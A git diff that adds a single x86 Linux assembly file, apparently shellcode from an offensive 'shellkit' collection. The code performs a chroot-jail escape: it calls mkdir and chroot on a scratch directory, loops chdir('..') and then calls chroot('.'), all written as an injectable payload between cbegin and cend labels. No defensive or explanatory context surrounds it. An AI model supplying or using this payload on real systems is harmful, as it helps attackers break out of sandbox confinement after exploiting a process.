initial

1 files changed, 34 insertions, 0 deletions

diff --git a/other/shellkit/x86_linux/chroot.s b/other/shellkit/x86_linux/chroot.s
new file mode 100644
index 0000000..dd7e878
--- /dev/null
+++ b/other/shellkit/x86_linux/chroot.s
@@ -0,0 +1,34 @@
+        .globl  cbegin
+        .globl  cend
+
+
+cbegin:
+/* mkdir AA.. */
+        cdq
+        movl    $0x73507350,    %ecx
+        push    %eax
+        push    $0x2e2e4141
+        movl    %esp,           %ebx
+        movb    $0x27,          %al
+        int     $0x80
+
+/* chroot AA.. */
+        movb    $0x3d,          %al
+        int     $0x80
+
+/* chdir .. x 5 */
+        addb    $0x2,           %bl
+
+cd_loop:
+        incb    %dl
+        movb    $0xc,           %al
+        int     $0x80
+        cmp     $0x6a,          %dl
+        jne     cd_loop
+
+/* chroot . */
+        incb    %bl
+        movb    $0x3d,          %al
+        int     $0x80
+cend:
+